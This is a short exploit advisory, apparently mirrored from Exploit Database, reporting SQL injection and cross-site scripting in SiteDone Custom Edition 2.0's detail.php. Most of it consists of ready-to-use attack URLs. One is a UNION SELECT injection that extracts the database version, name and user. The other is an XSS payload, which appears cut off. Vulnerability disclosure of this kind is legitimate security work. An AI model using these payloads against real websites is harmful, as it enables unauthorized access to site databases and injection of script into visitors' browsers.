SiteDone Custom Edition 2.0 – SQL Injection / Cross-Site Scripting

• Exploit Database
• 8 阅读

• 作者： d3v1l
  日期： 2010-03-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11799/

• [~] SiteDone Custom Edition 2.0 SQL Injection & XSS Vulnerability
  [~]
  [~] http://www.sitedone.com
  [~]
  [~]
  [~] -----------------------------------------------------------------------------------------------
  [~] Bug founded by d3v1l [Avram Marius]
  [~]
  [~] Date: 18.03.2010
  [~]
  [~]
  [~] http://security-sh3ll.blogspot.com
  [~]
  [~] ------------------------------------------------------------------------------------------------
  [~] detail.php?articleId=SQL & XSS
  [~]
  [~]
  [~] Ex :-
  [~]
  [~] http://[site]/site/store/detail.php?articleId=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19--
  [~] http://[site]/site/store/detail.php?articleId=">
  [~]-------------------------------------------------------------------------------------------------